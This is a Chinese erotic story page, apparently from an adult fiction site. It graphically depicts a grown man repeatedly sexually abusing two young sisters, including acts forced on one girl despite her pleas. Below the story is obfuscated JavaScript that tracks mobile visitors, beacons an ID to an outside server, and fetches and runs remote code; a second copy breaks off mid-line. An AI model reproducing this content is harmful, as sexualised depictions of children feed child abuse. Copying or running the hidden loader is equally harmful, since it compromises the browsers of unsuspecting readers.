"嗯……"小玲在象征性的挣扎了两下之后,便任由李余在自己的嘴里肆虐开来。

和成年女性嘴里的味道完全不同,幼女口水的味道更加清香,李余贪婪地用舌头在小玲的嘴里上下左右搜寻着每一丝他所能够得到口水,同时把自己的口水送到小玲的嘴里。在两人的口水完全融合之后,两条舌头就纠缠到了一起,两个舌尖相互打着转,似乎要钻到对方之中似的。

李余以前从来没有感受过如此情深意切的一吻,即使是和女朋友的初吻也没有如此消魂,李余感到自己仿佛要融化到这一吻之中了。而小玲又何尝不是呢,刚才坐到李余怀里时,身体还稍微有些僵硬,但是现在她已经是身体发热,半瘫软、半撒娇似的,把身体的重量完全压到了李余的身上。

"啵"的一声,两人嘴总算是分开了,要不是氧气的缺失,两人肯定还会继续吻下去。

接下来,李余把小玲的身体平放到了床上,用舌头在她胸前的那两粒蓓蕾上来回舔着,还不时的用牙齿轻轻地咬一下,每当这时候,小玲的身体都会颤抖,那幼小的身体在李余的摆弄下,感受着一次次的冲击。

"啊,干爹……"小玲的两只小手把李余的头紧紧抱住,似乎是在抱着她生命中最重要的东西。

李余的舌头一路下滑,在那精致的小肚脐眼上稍作停留之后,直达了小玲两腿间那条粉红色的裂缝外面。

"真是造物主的杰作!"李余不禁感叹道。

和成年女性不同的是,小玲那里洁白如玉,没有一丝黑色素的沈积,也没有一丝的毛发,微微隆起的外阜,就像是白瓷烧就的一般;在裂缝的顶端,一个米粒大小的花蒂隐藏在两片肉唇之中,如果不仔细看的话,很难发现。

看到如此的美景,李余哪里能够忍得住,手指慢慢分开两片肉唇,里面淡红色的嫩肉就展现在了李余的面前。

"真嫩啊!"李余从来没有见过如此娇嫩的肉,这种红色是很淡的红,就像是新生婴儿皮肤的颜色。

李余伸出舌头在嫩肉上轻轻一点,"啊……"和预想的一样,小玲身体一直大颤,两条还很纤细的大腿夹住了李余的头;同时两片肉唇也在身体的带动下,一张一合的动了几下,似乎是在朝她新的主人打招唿。

"小玲,以前你都和谁做过这种事情呢?"李余在看了温泉里淫乱的场面之后,就一直有这个疑问。

"以前就和爹做过几次。"

"那小玉你呢?"

过了一会儿没有声音,李余一回头才发现,很有"眼力"的小玉,已经不在屋子里面了,也不知道是什么时候出去的。

"小玉她就是用嘴和手给爹做过。"小玲这时候回答了李余的问题。

"这么说他还是处女了?"李余一边问,也没停下嘴里的"活"。

"嗯。"

虽然称不上有什么"处女情节",但是能给一个小处女开苞,毕竟是一件很爽的事情。李余心中已经开始暗暗盘算起这件事情来。当然那是后话,眼前的才是最重要的。

在李余舌头的不断努力下,小玲的肉缝已经开始有些湿润了,李余也知道要让这个年龄的小女孩流出爱的液体来,是件不可能完成的任务,能达到湿润的地步就已经很不错了。

"我要进去喽!"李余趴到了小玲的身体上,在她耳边小声说出了这句话。 "嗯……"已经有过经验的小玲自然知道"进去"的意思是什么,害羞地用双手盖在脸上。

李余的肉棒在小玲两腿之间蹭了几蹭,龟头找准了入口的位置,"噗……"在洞口滑了几下之后,巨大的龟头终于插入到了幼女那令人消魂、令人神往,能给人生、也能给人死的稚嫩阴道中。

第六章

"啊,这感觉……"龟头刚刚进入,李余立刻感到自己被一块紧窄、温暖、滑润的小嫩肉包围住了。虽然已经不是处女了,但是那尚未发育的小屁股也绝对不是成年人的肉棒可以随便进出的,李余本想继续挺进的计划,也在严重受阻之后不得不暂时停下来。

"这么紧啊!"李余感到自己的龟头正在受到前所未有的夹击和爱抚。在小玲的消魂洞里,似乎有着无数张小嘴在舔噬着、吸吮着他的前端,精液在感受到那仿佛来自于地狱一般的极乐快感的召唤下,勇往直前地向外涌去。

刚刚进入就射了,那岂不是成了传说中的"早泄"?李余可不想给自己留下这么一个名声,迫不得已,他只好先撤出了自己的肉棒。

做了几次深唿吸之后,李余终于把射精的冲动压下去了。

校正位置,李余重新提枪上马,巨大的龟头再一次闯入不该他到来的地方。 "嗯……"两人同时发出了哼声。

"痛吗?"李余爬在小玲身上,在她的耳边问道。

"没事,干爹,以前就是和爹做的时候痛了几次,后来就没什么感觉了。"小玲答道。

在得到这样的答复之后,李余放心地把肉棒继续在小玲的身体内进行探索。在小玲的花径里,一道道的肉褶层层叠叠地阻拦着他,好像是一道道的索精关,在那里热情地唿唤着被李余身藏在身体内的白浊液体。

在龟头碰到一个软软滑滑的东西之后,李余知道自己已经捅到了小玲的花心上,这时李余的肉棒至少还有一半露在外面。

"啊……"如此美妙的触感,让两个人都更加紧密地贴紧对方。

接下来的几分钟里,李余并没有动起来,而是让小玲的花径慢慢地适应他的粗细以及长短。趁这个机会,李余朝下看去,看见两人的连接处紧紧地结合在一起,由于洞口对于肉棒扣得实在太紧,以至于都有点陷下去了。

看到如此淫荡的画面,李余的肉棒不自觉的在小玲的花径里跳了一下。 "动……动了。"小玲感觉到肉棒似乎在带动着她的小腹一起跳动了。 "马上就有更多运动了。"李余在小玲的耳边说完这句话后,开始真正的活塞运动了。

肉棒被轻轻的抽出来,然后又是轻轻插进去,李余每次做得都很小心,生怕弄伤了小玲。伴随着每次的插入,如潮的快感一次次地侵袭着李余的大脑神经;小玲那幼小的身体也一次次的承受着来自李余的冲击力,每次李余插到顶点时,这具小身体也跟随着被向上顶起,同时小玲还会发出"嗯、啊"之类的哼声,也不知道是在忍受痛苦,还是在忍耐快感的侵袭。

"如果要是痛的话,可要说出来哦!"李余一边有些不安的说,一边却丝毫没有停下来的意思。

"干爹你慢点,别那么快,啊……太深了……"小玲的小手在李余的胸前轻推着。

"我……会……会轻点的。"虽然这么说,但是事实上,此时的李余已经被小玲带给他的极度快感爽到大脑空白,只知道不断地挺着腰,一次又一次地进入那无比消魂的洞穴。

"一,二……三十五,三十六……一百零一……"刚开始李余还数着自己进出了多少次,但是数到一百之后,强烈的快感已经使得他大脑处于一种完全的空白状态。

此时的他已经完全忘却了周围的一切,大脑中只有一个命令,那就是不断地挺入、抽出,挺入、抽出……

快感的不断累积加快了抽插的速度,而抽插的速度又加速了快感的累积。李余就像一个已经吸毒上瘾的人一样,明知道越快就越想射,越想射就越快,却无法停下自己挺动的摇部。

"不……不行啦……射……啊……要射……"感到已经坚持不住的李余奋起余勇,不断加快着抽插的速度,终于李余在极度快感中把肉棒狠狠地插入到了小玲的嫩穴中,一直往里,突破了子宫颈的限制,直插到了幼小的子宫之中。在那里,白浊的精液肆意地释放着,李余似乎是连自己的灵魂都射了进去。

"哦……"射精后的无力虚弱感,让李余倒在了床上,不过两人的下身却还是紧紧的连在了一起。虽然李余射过精之后肉棒变得小了一些,但是对于幼女来说仍是嫌大,所以肉棒嵌到里面没有退出来。

"小玲你可真好。"李余把许玲揽到怀里,不断亲吻着许玲。

许玲就像一个听话的洋娃娃,任凭着李余的摆布,没有任何的反抗和不满。 没过多一会,李余就感到还留在小玲身体内的肉棒如同充气一般,再次迅速地膨胀起来;而小玲身体内的嫩肉也如同有生命似的,在他那敏感的龟头上来回摩擦着,刺激着龟头的成长。

"玲儿,咱们再来一次吧!"李余在许玲的耳边说道。

"干爹……"小玲没有多说什么,只是把头更紧的贴到了李余的胸口上。 此时无声胜有声。

小玲的默许让李余的"性"奋程度再次到达顶点,那高大沉重的身影再次压到了幼小的躯体上面。

李余已经不记得自己是什么时候睡着的了,他只记得在睡之前至少和小玲做了三次,每次他都射得尽情尽兴,每次他都感到似乎要把身体中全部的精液都射出去了,直到第三次的时候,小玲那稚嫩的子宫都无法容纳他连续射出的精液,而顺着无毛的洞穴入口流了出来。

这一夜李余睡得很沈,没有做什么梦就睡到了天亮。

和前一天一样,李余在小玲和小玉刺激的口交中被舔醒了。

尽管姐妹两个很努力,也很认真,可是在昨天晚上连射三次之后,李余的肉棒已经如同一条死虫,任凭姐妹两个如何舔弄,都没什么反应了。

"哎,不行啊,以后得控制一下次数了,否则每天如此的话,过不了多久,我就会被吸干的。"李余这么想着,却没有阻止姐妹两个对他的口舌服侍,直到李余感到自己完全已经挺立起来。

"好了,停下来吧,快上学去,要不然可是快迟到了。"李余拍了拍姐妹的头顶,以示满意。

"还是留一些精力到晚上吧。"李余心中如此打算。

起床之后,三个人收拾了一下就去学校了。

上完一天的课后,回到家里,依然是是许玲和许玉姐妹两个去做饭。

李余靠在椅子上,把两条腿翘到桌子上,双手抱在脑后,舒服地闭目养神。 "住在这里简直太爽了,除了教书之外,什么都不用做,每天还有幼女玩,我看这个村子干脆改名叫桃花源吧!噢,不,应该是男人的桃花源。"李余一想到这里,笑容都忍不住挂到了嘴角上。

"这里这么好,那我究竟应不应该离开这里呢?"这个问题再次被李余想了起来。

前两天还打算这么逃跑,现在的情况有了天翻地覆的变化。这里虽然贫穷,生活单调,但是能够天天和未成年幼女做爱,这个世界上恐怕就只有这么一处地方了。当然了,回到大城市也有回到大城市的好处,最起码回到大城市之后就可以上网了,又可以去恶魔岛周游了,没事的时候还可以打打网游,和朋友聊聊天什么的,可是这些在这个山村都没有,而且就目前的情况来说,很有可能,十年以后,这些东西在这里也不会有。

"到底回不回去呢?……"李余犹豫着,毕竟这两边都有他难以割舍下的东西。

就在这时候,小玲和小玉端着做好的饭菜走了近来。

"干爹,吃饭了。"

姐妹两个把饭菜放下,看着李余吃。

李余拿起筷子,想了想,然后又放下了。

"小玲,小玉,我问你们一个问题,你们千万要告诉我实话好吗?"李余看着姐妹俩,郑重其事的问。

"嗯……"

"你们去过村子外面吗?"

"没有。"

"那你们想不想去外面的世界逛逛?"

"不想。"姐妹两个回答得如此干脆,令李余感到十分的意外。

"不,不想。为什么?"李余奇怪的问道。

"爹以前跟我们说过,外面有很多很多的坏人,那些坏人抢东西,还杀人放火。"

"噢,是这样啊!"李余心里盘算着。

"干爹,外面的人真的都那么坏吗?"小玉眨着眼睛天真的问着李余。 "嗯,这个嘛……看怎么说了,干爹我不也是从外面来的吗,你们认为干爹是坏人吗?"

"干爹当然不是坏人,干爹很好。"小玉抢着说道。

"对呀,外面是有不少的坏人,可是也有好人。不过,或许外面的世界真的不适合你们。"李余拍着许玉的头,心有所感的说道。

"干爹,你为什么问我们这个问题呀?"天真的姐妹两个当然不会想到李余心中正在想着是否要离开这里,在她们眼中,李余曾经发誓要留在这里,就一定会留在这里。

"啊……没什么,我只是在想,如果你们想要出去玩的话,我可以带你们出去,毕竟外面有很多值得享受的东西,可是你们不想出去,那就算了。"李余说完,拿起筷子开始吃饭,也就是从这个时候开始,李余真的考虑留在这里不再离开了。

吃过饭,姐妹俩开始写作业,李余则开始判作业,然后是备课。等到这一切都做完了之后,也差不多到了晚上9点,快断电的时间了。本来想好了要"惜"精的李余,结果在这个晚上又和小玲做了三次。

"不是我的意志不坚定,实在是那具身体的吸引力实在太大了。"李余无奈地感叹道。

每次做完之后李余总是提醒自己绝对不能再做了,可是还停留在小玲身体里的肉棒却绝对不这么想,在还没有完全软化下来之前,肉棒在小玲肉穴那自动的反复按摩下,又恢复了生气。

"不行啦,这样下去不出一个星期,我就变成人干了。"李余哀叹着自己小弟为何如此的不争气,一进到小玲的身体里就坚挺如钢,一出来就垂头丧气。 "明天,明天绝对不能够再做这么多次了。我发誓,如果明天我再做这么多次,就让我从此不举。"这个誓言不可谓不毒,不过到了第二天的晚上,李余早已把自己发过的誓言忘了个一干二净,结果是他在小玲的身上整整发泄了四次,再一次用自己的精液灌满了小玲那幼小的子宫和阴道。

射到最后一次的时候,李余感到自己已经完全不是在射精了,因为那里所有的反应可以用两个字来形容--"滴答"。

"操"劳过度的李余果然在第二天病到了,村里的学校只好停课了,村子里的人还都以为是李余为了教学生们读书累倒的,所以纷纷送来慰问品,探视李余的病情。

虽然说是病了,可是李余在接下来的三天里倒是享尽了福。吃喝完全不需要自己关心,时间一到,自然有人送上美食,还不断有人来和他聊天解闷,另外闲暇的时候和几个村民凑到一起打打麻将也是很爽的事情,唯一美中不足的就是不能再和小铃做爱了。李余自己也知道不仅是这几天要慎着点,以后也要多注意,即使是身体复原了,他的身体也只是一天一次的水平,做的次数太多了,身体肯定受不了。

五天过后,李余的身体已经恢复得七七八八了,连续喝了这么多天的老母鸡炖山药汤,李余感到自己的中气十足。

既然有了身体上的保障,晚上李余当然不会放过小玲,不过这次李余倒是很有分寸,仅仅做了一次就放过了小玲。

"留得青山在,不怕没柴烧。只要身体好,以后有的是机会。"抱着这样的想法,李余沈沈的睡去了。

梦中的李余感到自己仍然在和小玲做着,那柔软、幼小的身体就在自己的怀里,被自己一次又一次的冲击搞得上下颠簸,一双稚嫩的小手搂在自己的脖子后面。

"干爹,干爹……"

"这声音是?……"李余把身体向后靠,这才看清楚怀里女孩的脸,竟然不是小玲,而是妹妹小玉。

"干爹你不要光疼妹妹,也要疼爱小玲啊!"这时跪在床上的小玲一边说,一边用力扒开了自己的两片屁股,露出了那粉嫩小穴入口和菊蕾。

"这么好的梦,千万别醒啊……"李余发出了心底的呐喊。

时间过得飞快,从李余来到山村,时间已经过去两月有余,李余依旧享受着每天幼女给他带来的无上快乐。

就在几天前,李余刚刚把小玉给开了苞。

事实上,李余并没有感到给处女开苞的乐趣,在第一次插入小玉的时候,那种感觉使得两人都很痛苦。小玉一直在喊"痛",而李余则感到自己的肉棒快被夹断了,弄了很久,李余只好让小玲最后含出来了事。

当然了,这两月除了教书之外的大多数时间,都被李余拿来开发小玉的身体了。而小玉的身体也迅速地适应着李余的调教,其适应性之强,连李余也感到很惊奇,才短短几天,小玉就已经可以让李余顺利地插入,虽然还不能自如的做活塞运动,但是仅仅是把肉棒塞到小玉的身体里也是一种至高的享受了。

小玉的身体才刚刚被开发,李余有已经开始在打小玲菊花的主意了。

"许老师以前用过你们这里吗?"这天,李余一边享受着小玲的口交,一边摸着小玲的后门问道。

小玲嘴里含着肉棒,仰起头来看着李余,一脸迷茫的样子。很显然,她从来也没听说过,平时用来大便的地方还有什么其他的作用。

"其实这里也是可以用来做爱的。"李余的手指一点点的往小玲的菊花里面顶。

"干爹,那里好脏。"小玲摇了摇屁股,摆脱了李余手指对其菊花的拨弄。 "没关系,在我眼里,小玲身上所有地方都是干净的。"李余没有放弃,继续努力地对小玲的后门进行着骚扰,并且时不时的把手指插进去一点点。 "不要啊,干爹。"小玲索性把李余的肉棒完全吐了出来,看着他拒绝的说道。平时性格极为柔顺的小玲能做出这样的举动,已经算是很大的反抗了。 "好了,好了,我不弄那里了还不行吗?"李余摸着小玲的脑袋笑着说道。 小玲这才重新把肉棒纳入口内,只是不时地用眼角的余光瞟着李余的动作,提防着他继续有所图谋不轨。

"看来得想个好办法,才能得到小玲的菊花蕾。"李余心中暗想。

第二天,李余人虽然是在教书,但是心里想的,却全是小玲那粉红色的菊花蕾。

到了晚上,和以往一样,李余脱光了衣服躺在床上,享受着玲玉姐妹的口舌服务。

"好了,坐上来吧!"李余把小玲的身体举起,让她的那肉缝对准自己挺立的肉棒,轻轻的放了下去。

"啊……"小玲的手用力地支撑在李余的胸前,这样才能稳定住身体,使得肉棒不至于过度的深入。

当身体稳下来之后,小玲慢慢摇着屁股,用腔肉对李余的肉棒做着全方位的爱抚。

"嗯……"也不知道是被顶得难受还是很享受,小玲闭着眼睛完全沈醉到这种感觉之中。

看着小玲的这种表情,李余藉机再次把恶魔之手伸向了小玲的菊花蕾。或许是太过投入了没有察觉到,小玲竟然意外的没有做任何反抗,任凭李余的手指在那里肆虐,直到李余把一根手指插了进去,小玲这才感觉到。

"不要啊,干爹,那里好脏……啊……"不容小玲的反抗,李余不断挺动腰部,一次次的冲击着小玲的花心。

"啊……太深,别顶了,干爹……"小玲被李余的一波攻势顶得手忙脚乱,急忙用手死死撑在李余的胸前,两条腿也夹在了李余的腰上,以防止肉棒的再次深入。

当然了,全部注意力都放在了身体内的肉棒上,小玲自然没有感到自己的菊花蕾此时已经被李余的咸猪手所攻陷,一根食指畅快地出入于那里。隔着一层薄薄的肉膜,李余清楚感到自己的手指和肉棒在小玲的身体里碰到了一起。 在一旁的小玉惊奇地看着干爹的手指出入于姐姐的菊花蕾之中,不知道干爹为何要如此做。

李余的手指虽然成功地占有了小玲的菊花蕾,但是此时的他也不是很好过,由于小玲的的两腿收紧夹在李余的腰上,连带着连腔肉也一同收紧,本来平常可以坚持半个小时的李余,今天受到了不同以往的礼遇后,一波又一波的快感从下身传来,很快就蔓延到全身。

"哦……"一阵闷哼中,李余终于将浓稠的精液射入到小玲的身体中。小玲在受到冲击之后,也顺势倒在了李余的身上。

过了好一会,小玲终于感到了李余的手指放在了不该放的地方。

"讨厌啦干爹,你怎么又摸那里啊!"小玲紧皱着一对眉头,看着李余。 "好啦,好啦,乖女儿,干爹不动了还不行吗?"李余耍赖,使得把手指留在了李余的菊花蕾中。

小玲看到求李余也是白废,于是就想自己站起来,以摆脱那搞怪的手指继续停留在她那里。

可是她的想法早已被李余所看穿,当小玲起身到一半的时候,李余一个翻身把小玲压到自己的身下,对于他来说,控制住如此幼小的一具身体,是一件轻而易举的事情。

"不要啊干爹,求求你放开我吧!"小玲在李余的身下哀求着。

不过李余是死了心要开发小玲的后庭花,根本不顾她的哀求,继续用手指在小玲的直肠里面搅动着。

对于这样的侵犯,小玲只能用她那柔弱无力的小手在李余身上到处乱推着,以示自己的抗议,但是如此程度反抗又怎能阻止住李余呢?

直到心满意足,李余才把深入到小玲直肠中的手指抽了出来。

"嘿嘿,小玲看来以后干爹要多开发开发你的屁眼了。"李余得意的说道。 "不要啊干爹,你的手指插在那里好难受的。求求你了干爹,以后不要插那里了。"小玲摇着李余的胳膊哀求道。

"插那里很痛吗?"

"那倒没有,只是……只是……"小玲害羞的低下了头。

"只是什么?"李余追问道。

"只是……只是干爹手指插那里的时候,我有一种要大便的感觉,干爹你的手指会被弄脏的。"小玲小声的说出了原委。

"哈哈哈……没关系的,慢慢的你就会习惯了。以后多练习,过不了多长时间,你这里也可以用了。"李余仍旧爱不释手地抚摩着小玲菊花蕾。

"只要干爹你不嫌弃我脏,我愿意让干爹弄那里。"小玲虽然是害羞的把脸藏了起来,但是从小就受到这个山村里道德观念的影响,她并没有拒绝李余提出来的要求。

"乖啊,这才是我的好小玲嘛!"李余高兴的说道。

"干爹你喜欢弄这里的话,也弄我这里吧!"一直在旁边观看的小玉这时候也撅起了她那青涩的的小屁股,任由李余的处置。

"好啊,乖小玉,不过你还太小了,等明年的时候,就是你不说,干爹也不会放过你的。"李余一把将小玲和小玉姐妹两个都揽到了自己怀里,嗅着幼女身上特有的清新味道。

"如果说这里不是男人的天堂的话,那么世界上就没有天堂了。"李余心中暗暗感叹道。

当然了,能左拥右抱着幼女睡觉,的确是一件很爽的事情,所以每天李余总是很赖床,老是需要小玲、小玉姐妹两个叫醒他。

"起床了,起床了。"迷迷煳煳中的李余被姐妹两个推醒了,自从李余阻止她们用口交的方法叫醒他之后,姐妹两个早上总是推醒李余。

起床后,和往常一样,三个人忙着洗洗漱漱,吃完早饭后就朝学校走去。 刚一出门李余就发现了一个很特别的情况,村里的人似乎在同一时间都忙了起来,每个人好像都在用小跑的方式走路。

"咦,这是怎么了,莫非村里出了什么大事?"李余感到很奇怪。

恰巧这时候村长刚好从附近经过。

"村长,村长。"李余连忙叫住了村长。

"李老师啊,有什么事吗?要是没事的话我还很忙的。"

"我就是要问这个啊!村长,我看见村子里的人都在忙,你们都在忙些什么啊?"李余问道。

"还能忙什么,当然是要秋收了。"村长说道。

"噢,原来这样啊!"

"李老师,如果你没有其他事情,那我可要走了。"

"啊,好的,好的,你去忙吧!"李余连忙说道,村长又风风火火的走了。 "没想到秋收竟然是这个样子。"从小就生活在城市里的李余,当然从来没有见过秋收的场面了。

"啊,对了李老师,有个事要和你商量一下。"刚刚离开的村长突然又转了回来。

"什么事?您说。"

"秋收这一忙,可能连村子里的孩子都得上阵,所以这几天学校能不能先停一下课?"村长问道。

虽然用了很客气的语气问,但是李余也听得出来,就是他不停课,估计也没学生去学校里上课了。

"好吧,当然没问题。村长你看我能干些什么,我这么年轻力壮,也应该为村里做点事情。"李余顺水说道。

"这个嘛……李老师你也没做过农活,帮忙就算了吧,那个……"村长没好意思再往下说。

不过李余也听得出村长的意思,自己不懂农活,所谓的帮忙,很有可能就是越帮越忙,还不如在一边看着,少给人家添麻烦为好。

"哦,这样啊,正好过几天我要给他们考一次试,那这些天我就在家里给他们出试题吧!"李余给自己找了个台阶下。

"这样最好,这样最好。那我就先走了,李老师。"

"好的,好的。"

"小玲、小玉,还不帮你们三婶做饭去!"村长临走的时候,还没忘记吩咐姐妹两个的工作。

"哦,知道了,村长。"

"干爹,那我们去了。"小玲、小玉携手一起走了。

李余无事,自己一个人回到了家里。

村子里几乎所有的人都在忙,连孩子都不例外,而自己这么一个青壮年,却坐在家里,李余总是感觉有些别扭。坐了半天之后,他终于坐不住了。

"出去走走也好。"心里烦乱的李余放下了手里的教材,走了出去。

除了李余之外,村子里似乎没有一个闲人,昨天还是静默默的一个山村,一夜之间完全醒了过来,嘈杂喧嚣的场面,不亚于城市中任何一个大公司内部的场面。

村中的青壮年,不论男女,一律都在准备着秋收需要用到的生产工具,而老人和孩子则在家中负责后勤。中午的时候,几十个孩子把午饭送到大人们工作的地方,看上去有些混乱,但实际上却是井井有条。

李余走着走着,不觉来到了村长家里,村长的老婆和小玲、小玉正在这里做饭。

"三婶你好啊!"

"李老师啊?"三婶擡头看了一眼,也没有停下手里的工作。

"秋收这么的忙啊?我以前从来也没见过。"李余说道。

"哦,可不是呢,年年如此。现在还好多了,有不少机器帮忙,要是放在早先啊,那更忙哩!"三婶嘴里说着,手里干着。

"那村子里要忙活几天呢?"

"也就是两三天吧。总共才这么几百亩地,这一百多劳动力,干得很快的。李老师你怎么想起问这些来了?"三婶奇怪的问。

"咳……我这不是闲得没事吗,本来想帮村里做点事情,可是我也没做过农活,哎……"李余摊了摊手,无奈地说道。

"呵呵……"三婶笑了笑,并没有接话。

"好了,我走了,不打扰你们工作了。"李余无聊地走了出去,在村子里面闲晃着。

还好的是秋收这三天很快就过去了,这三天中,由于小玲和小玉白天的时候一直要帮着干活,晚上回来的时候已经很累了,所以李余也不好意思提出什么要求。

被憋了整整三天后,秋收终于在全村人的庆祝声中结束了。

又是一个丰收的之年,村里几乎每个人的脸上都挂着满足的笑容,除了村长之外。

傍晚的时候,村长一个人坐在了一座小山的山头上,抽着烟袋,看着远方。 "村长,有这么一个丰收的年景,怎么你好像并不怎么高兴啊?"李余在散步的时候看到村长,所以过来打声招唿。

"哎,李老师啊,你是不知道啊,我不是为了丰收而发愁啊!只是你也知道俺们村和外面的交通环境不好,虽然是丰收,但是这收上来的东西除了村里人吃之外就没什么用处了,很难运出去卖钱。"村长摇着头感叹道。

"这倒是。"李余听村长这么一说,也的确感到了村子里的难处。

"那村里就没有想过办法吗,比如说修一条路?"

"修路?谁不想啊,可是钱从哪里来呢?从村里到县城有一百多里的山路,早先有人给俺们村算过,没有几百万修不成。再说了,就是修成了,每年也要几十万来维护,就我们这个小村,每年能拿出几千块钱就不错,拿什么去修啊?"村长抽了口烟袋,无奈地说道。

"总会有办法的,天无绝人之路,早晚有一天,咱们村也能富起来的。"李余拍着村长的肩膀安慰道。

"嘿嘿……"村长默然不语。

看到村长心情不畅,李余起身刚要离开。

"对了,李老师,今天要睡好啊,明天莫要晚起。"

"怎么,秋收完了还有什么事情吗?"

"从明天起,村子里要举行秋收后的庆祝活动,两天两夜都是不睡的,你刚来,可能还不适应。"村长说道。

"噢,没关系,我坚持得住的。"

"以前上大学那会儿,我可是有在网吧里泡过三天都没睡觉的记录,两天又算得了什么?"李余心中暗想。

回到家里,被秋收折腾了三天的小玲和小玉都在补觉。

"今天晚上又没戏了。"李余感叹着,被迫忍受精虫上脑的痛苦,却又无可奈何地倒在了床上。

"但愿明天可以好好的做一次,哦不,是做三次,嗯,四次也可以啦……"李余嘟囔着,习惯性地搂住了小玲和小玉沈沈睡去。

他绝对没想到第二天会出现什么东西在等待着他。


上一篇:操翻良家熟女

下一篇:3P前奏曲之我的B计画


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new 